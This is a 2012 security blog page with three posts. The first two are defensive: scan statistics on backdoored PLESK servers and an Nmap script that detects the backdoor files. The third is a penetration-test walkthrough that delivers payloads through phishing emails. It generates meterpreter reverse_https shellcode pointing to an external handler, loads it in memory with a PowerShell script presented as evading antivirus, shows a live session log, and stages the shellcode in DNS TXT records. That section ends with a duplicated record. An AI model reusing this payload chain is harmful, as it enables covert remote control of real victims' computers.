Saturday, August 18, 2012

3.094 Hacked PLESK servers, more than 15.000 domains and this is just 3%

I wrote again about the infected PLESK systems, Brian Krebs wrote about the topic some time later in the year (http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/) but until now I didn’t see any post on the actual infected servers.

I took some time during the holidays to fix my http-plesk-backdoor.nse script and make a more wide search for infected and still compromised PLESK installations. The work is still in progress and the stats below are rough stats.

There are 256 A class networks , 0.0.0.0/8 to 255.0.0.0/8 , each block has a possible of 16.777.216 addresses, not everything is in use from the /8 networks and many are reserved ( more at http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml ). I started my search results from the European networks, allocated in RIPE NCC and I will move to ARIN (USA based networks) and then to the rest.

How long does it take to scan an entire A class, is totally based on your ISP tolerance and the connectivity that your server has to the internet. Scanning an European range from a server that is outside the EU network will take more time but nothing extreme estimate a total added time of 20-30 minutes in one scan. My scans took around 10 hours to complete for each A class ( for 16.777.216 addresses ), with the script execution time combined.

Initially I thought that the script execution will take a huge amount of time comparing to the scanning results of nmap, but the scripting engine is doing a great job on the nse scripts, and the time added is roughly one extra hour when the script is used.

Results so far: 

6 European based networks scanned (100.663.296 addresses), 91.970 systems with the port 8443 open (not all of them are PLESK servers).

Compromised / Infected PLESK systems: 3.094

Number of domains on the hacked above servers: 15.979

The number of domains is an estimation based on the ‘feature’ that many PLESK installations provide allowing a reverse DNS lookup on the server IP, that will return all the domains that are currently hosted in that server.

If you need details on the networks and the hosts that are found infected please contact via email with a valid reason.

Wednesday, May 9, 2012

Nmap script to check PLESK compromised servers


Few days back I wrote about the PLESK compromised servers in www.my-audit.gr, at that time I made a script to perform manual checks for our clients in our IP ranges.  The script was slow and it was taking a lot of time to produce actual results at first, then I remembered about nmap scripting language (NSE).  I had never used it before but it seems rather easy to make a simple script, so after a couple of minutes I came up with the following script:
   1: description = [[
   2: Looks for signature of PLESK servers that were compromised earlier in 2012.
   3:  
   4: The script checks the existence of enterprise/control/psa/engine.php and 
   5: /enterprise/control/ctrl.php3 files that are not part of plesk distribution. 
   6: The files were added in most servers during the first 3 months of 2012 
   7: after a global scale attack on PLESK hosting servers. 
   8: More at: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/ ,
   9: http://forum.parallels.com/showthread.php?t=258101 and 
  10: http://0entropy.blogspot.com/2012_03_01_archive.html
  11: ]]
  12:  
  13: ---
  14: -- the result will be something like the following
  15: -- Interesting ports on somehost.someserver.com (xxx.xxx.193.64):
  16: -- PORT     STATE SERVICE
  17: -- 8443/tcp open  https-alt
  18: -- |_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
  19: ---
  20:  
  21: author = "Nicolas Krassas"
  22: license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  23: categories = {"malware","discovery","safe"}
  24:  
  25: require "http"
  26: require "shortport"
  27: require "stdnse"
  28:  
  29: -- This script will check on port 8443 only
  30: portrule = function(host, port)
  31:     local svc = { std = { ["https-alt"] = 1 } }
  32:     if port.protocol ~= 'tcp' or not svc.std[port.service] then
  33:         return false
  34:     end
  35:     return true
  36: end
  37:  
  38: -- Execute the check 
  39: action = function(host, port)
  40:  
  41:         -- Perform a GET request for v2 backdoor, this is the most common currently.
  42:         result = http.get_url("https://" .. host.ip .. ":" .. port.number .. "/enterprise/control/psa/engine.php")
  43:  
  44:         if(not(result)) then
  45:                 return stdnse.format_output(false, "Couldn't perform GET request")
  46:         end
  47:  
  48:         if(result.status == 200) then
  49:                 string = ("PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/");
  50:                 return string
  51:         end
  52:  
  53:         -- Perform a GET request for v1 backdoor
  54:         result = http.get_url("https://" .. host.ip .. ":" .. port.number .. "/enterprise/control/ctrl.php3")
  55:  
  56:         if(not(result)) then
  57:                 return stdnse.format_output(false, "Couldn't perform GET request")
  58:         end
  59:  
  60:         if(result.status == 200) then
  61:                 string = ("PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/");
  62:                 return string
  63:         end
  64: end

a sample output from the script,

root@host:~# nmap  --script http-plesk-backdoor xxx.xxx.xxx.xxx

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-09 14:20 EEST
Interesting ports on someserver.com (xxx.xxx.xxx.xxx):
Not shown: 979 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
25/tcp   open     smtp
53/tcp   open     domain
80/tcp   open     http
106/tcp  open     pop3pw
110/tcp  open     pop3
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
143/tcp  open     imap
443/tcp  open     https
445/tcp  filtered microsoft-ds
465/tcp  open     smtps
587/tcp  open     submission
646/tcp  filtered ldp
993/tcp  open     imaps
995/tcp  open     pop3s
1025/tcp filtered NFS-or-IIS
2000/tcp filtered callbook
3306/tcp open     mysql
8443/tcp open     https-alt
|_ http-plesk-backdoor: PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds

and scanning a larger range,

root@host:~# nmap  --script http-plesk-backdoor xxx.xxx.193.0/24 -p 8443
--snip--
Interesting ports on srv1.someserver.com (xxx.xxx.193.61):
PORT     STATE SERVICE
8443/tcp open  https-alt

Interesting ports on srv2.someserver.com (xxx.xxx.193.62):
PORT     STATE SERVICE
8443/tcp open  https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Interesting ports on srv3.someserver.com (xxx.xxx.193.63):
PORT     STATE SERVICE
8443/tcp open  https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Interesting ports on srv4.someserver.com (xxx.xxx.193.64):
PORT     STATE SERVICE
8443/tcp open  https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
--snip--

 The script can be found here, http://chaos.deventum.com/research/nse/http-plesk-backdoor.nse

Wednesday, April 11, 2012

Powershell, metasploit meterpreter and dns.

Few months back and whilst in holidays, I got a call from the work that we just took an urgent project with a very short delivery time. The project was a penetration test for a company. All paperwork was done and the client was in a rush to get some results since holiday season was near.

No problem I said but actually there were a few. For starters I was in a different country, nowhere near the penetration lab of the company and my tools. As it’s accustomed also to start with zero knowledge about the clients’ systems, I wasn’t sure about their security, possible IDS systems, antivirus, system patches, firewalls and users’ experience.

There are many possible ideas here and ways to work, I choose to use metasploit and whatever tools look innocent enough not to rise suspicions. The common problem with metasploit is the payload delivery. Meterpreter is great but it’s detected from a very large amount of antiviruses if not properly modified. I used SET  (http://www.social-engineer.org/) to deliver a simple payload, actually a very basic connect back shell, the first that I found in codeproject.com (http://www.codeproject.com/Articles/20250/Reverse-Connection-Shell).

Couple of hours later and after a few emails were send with ‘important’ information to the users of the company, metasploit’s multi handler was greeted with sessions. The sessions were mostly from windows 7 systems and a few old XP. The good news and the bad news, good news were the shells, bad news where … the shells. Used with meterpreter sessions and sessions from commercial tools the basic dos prompt seems poor. Time to upgrade the shell then in a fancy way then.

Powershell to the rescue !

Let’s first generate the meterpreter payload, reverse_https seems great,

root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.xxx.xxx LPORT=8443 C | more  

   1: /*
   2:  * windows/meterpreter/reverse_https - 369 bytes (stage 1)
   3:  * http://www.metasploit.com
   4:  * LHOST=178.32.xxx.xxx, AutoRunScript=, EXITFUNC=process, 
   5:  * EnableUnicodeEncoding=true, SessionCommunicationTimeout=300, 
   6:  * AutoSystemInfo=true, AutoLoadStdapi=true, 
   7:  * InitialAutoRunScript=, VERBOSE=false, LPORT=8443, 
   8:  * SessionExpirationTimeout=604800
   9:  */
  10: unsigned char buf[] = 
  11: "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
  12: "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  13: "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  14: "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  15: "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  16: "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  17: "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  18: "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  19: "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  20: "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68"
  21: "\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57"
  22: "\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f"
  23: "\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53"
  24: "\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68"
  25: "\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b"
  26: "\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a"
  27: "\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57"
  28: "\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a"
  29: "\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65"
  30: "\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00"
  31: "\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff"
  32: "\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68"
  33: "\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85"
  34: "\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33"
  35: "\x32\x2e\x37\x32\x2e\x31\x39\x34\x00";
  36:  
  37: /*
  38:  * windows/meterpreter/reverse_https - 752128 bytes (stage 2)
  39:  * http://www.metasploit.com
  40:  */
  41: unsigned char buf[] = 
  42: "\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3"
  43: "\x19\x15\x00\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50"


From all the payload we just need the first stage. The first stage is will provide the connect back to the metasploit server functionality that will fetch the second stage.


Here again, a couple of options, one way of delivering it can be the following, simply copy the first stage, convert it in a proper format for the powershell script and run the script.


Method 1:


Converting the shellcode to proper format needed by the powershell script:


Shellcode:



   1: "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
   2: "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
   3: "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
   4: "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
   5: "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
   6: "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
   7: "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
   8: "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
   9: "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  10: "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68"
  11: "\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57"
  12: "\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f"
  13: "\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53"
  14: "\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68"
  15: "\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b"
  16: "\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a"
  17: "\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57"
  18: "\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a"
  19: "\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65"
  20: "\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00"
  21: "\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff"
  22: "\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68"
  23: "\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85"
  24: "\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33"
  25: "\x32\x2e\x37\x32\x2e\x31\x39\x34\x00"

converting the shellcode directly to our format:



   1: root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.72.194 LPORT=8443 C | sed -n -e '11,35p' | sed 's/[";]//g' | sed 's/\\/,0/g' | tr -d '\n'    
   2: ,0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00

and our powershell script:


 



   1: <#
   2: Powershell meterpreter 
   3: This script will load in memory the first stage of metasploit meterpreter.
   4: The second stage will be transferred and executed in memory with 0 detection from the antivirus engines.
   5: Author: Nicolas Krassas
   6: Initial idea from: Matthew Graeber
   7: #>
   8:  
   9: # Import required functions 
  10: $code = @"
  11: [DllImport("kernel32.dll")]
  12: public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  13: [DllImport("kernel32.dll")]
  14: public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  15: [DllImport("msvcrt.dll")]
  16: public static extern IntPtr memset(IntPtr dest, uint src, uint count);
  17: "@
  18:  
  19: $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
  20:  
  21: # msf meterpreter stage 1
  22: [Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x63,0x51,0x62,0x46,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00
  23:  
  24: # Calculate correct size param for VirtualAlloc
  25: $size = 0x1000
  26: if ($sc.Length -gt 0x1000) {$size = $sc.Length}
  27:  
  28: # Allocate memory 
  29: $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
  30:  
  31:  
  32: for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
  33: Try {
  34:         $winFunc::CreateThread(0,0,$x,0,0,0)
  35:         sleep 100000
  36:     }
  37: Catch
  38:  {
  39:   [system.exception]
  40:   "caught a system exception"
  41:  }

set the metasploit server to handle requests for the payload:



   1: root@host:~/trunk# ./msfconsole 
   2:  
   3: # cowsay++
   4:  ____________
   5: < metasploit >
   6:  ------------
   7:        \   ,__,
   8:         \  (oo)____
   9:            (__)    )\
  10:               ||--|| *
  11:  
  12:  
  13:        =[ metasploit v4.3.0-dev [core:4.3 api:1.0]
  14: + -- --=[ 821 exploits - 467 auxiliary - 141 post
  15: + -- --=[ 250 payloads - 27 encoders - 8 nops
  16:        =[ svn r15071 updated 6 days ago (2012.04.05)
  17:  
  18: msf  exploit(handler) > set payload windows/meterpreter/reverse_https
  19: payload => windows/meterpreter/reverse_https
  20: msf  exploit(handler) > set lport 8443
  21: lport => 8443
  22: msf  exploit(handler) > exploit
  23:  
  24: [*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/
  25: [*] Starting the payload handler...
  26: [*] 94.68.xxx.xxx:20718 Request received for /cQbF...
  27: [*] 94.68.xxx.xxx:20718 Staging connection for target /cQbF received...
  28: [*] Patched transport at offset 486516...
  29: [*] Patched URL at offset 486248...
  30: [*] Patched Expiration Timeout at offset 641856...
  31: [*] Patched Communication Timeout at offset 641860...
  32: [*] Meterpreter session 1 opened (178.32.xxx.xxx:8443 -> 94.68.xxx.xxx:20718) at Wed Apr 11 09:44:08 +0300 2012
  33:  
  34: meterpreter > ps
  35:  
  36: Process list
  37: ============
  38:  
  39:  PID   Name                          Arch  Session  User         Path
  40:  ---   ----                          ----  -------  ----         ----
  41:  0     [System Process]                                          
  42:  4     System                                                    
  43:  276   smss.exe                                                  
  44:  288   dwm.exe                       x86   1        Ghost\Dinos  C:\Windows\system32\Dwm.exe
  45:  364   csrss.exe                                                 
  46:  380   explorer.exe                  x86   1        Ghost\Dinos  C:\Windows\Explorer.EXE
  47:  432   csrss.exe                                                 
  48:  440   wininit.exe                                               
  49:  492   winlogon.exe                                              
  50:  540   services.exe                                              
  51:  548   lsass.exe                                                 
  52:  560   lsm.exe                                                   
  53:  656   svchost.exe                                               
  54:  720   nvvsvc.exe                                                
  55:  760   svchost.exe                                               
  56:  844   MsMpEng.exe                                               
  57:  924   svchost.exe                                               
  58:  964   svchost.exe                                               
  59:  1000  svchost.exe                                               
  60:  1152  svchost.exe                                               
  61:  1196  conhost.exe                   x86   1        Ghost\Dinos  C:\Windows\system32\conhost.exe
  62:  1284  plugin-container.exe          x86   1        Ghost\Dinos  C:\Program Files\Mozilla Firefox\plugin-container.exe
  63:  1312  NvXDSync.exe                                              
  64:  1324  nvvsvc.exe                                                
  65:  1364  SecureCRT.exe                 x86   1        Ghost\Dinos  C:\Program Files\VanDyke Software\SecureCRT\SecureCRT.exe
  66:  1448  chrome.exe                    x86   1        Ghost\Dinos  C:\Users\Dinos\AppData\Local\Google\Chrome\Application\chrome.exe
  67:  1492  SR_Watchdog.exe                                           
  68:  1528  SearchIndexer.exe                                         
  69:  1560  svchost.exe                                               
  70:  1776  spoolsv.exe                                               
  71:  1888  svchost.exe                                               
  72:  1964  taskhost.exe                  x86   1        Ghost\Dinos  C:\Windows\system32\taskhost.exe
  73:  2032  WVSScheduler.exe                                          
  74:  2172  armsvc.exe                                                
  75:  2196  AppleMobileDeviceService.exe                              
  76:  2272  mDNSResponder.exe                                         
  77:  2304  svchost.exe                                               
  78:  2364  hamachi-2.exe                                             
  79:  2400  vmware-tray.exe               x86   1        Ghost\Dinos  C:\Program Files\VMware\VMware Workstation\vmware-tray.exe
  80:  2420  svchost.exe                                               
  81:  2444  msseces.exe                   x86   1        Ghost\Dinos  C:\Program Files\Microsoft Security Client\msseces.exe
  82:  2460  IMEDICTUPDATE.EXE                                         
  83:  <snip>
  84: meterpreter > 

And we have our poor initial shell, upgraded with cool meterpreter features, whilst our antivirus is still operational and not aware of the situation.


Method 2 do it in style.


Few weeks back I saw an excellent method from corelanc0d3r ( https://github.com/rapid7/metasploit-framework/pull/173 ) using TXT DNS records for payload delivery. This gave me an idea to create the same method with powershell, using raw C format also in the TXT records. With the same payload, stage 1 as above I created the following records:



   1: a.deventum.com.          IN TXT  "0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52"
   2: b.deventum.com.          IN TXT  ",0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b"
   3: c.deventum.com.          IN TXT  ",0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68"
   4: d.deventum.com.          IN TXT  ",0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f"
   5: e.deventum.com.          IN TXT  ",0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86"
   6: e.deventum.com.          IN TXT  ",0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86"
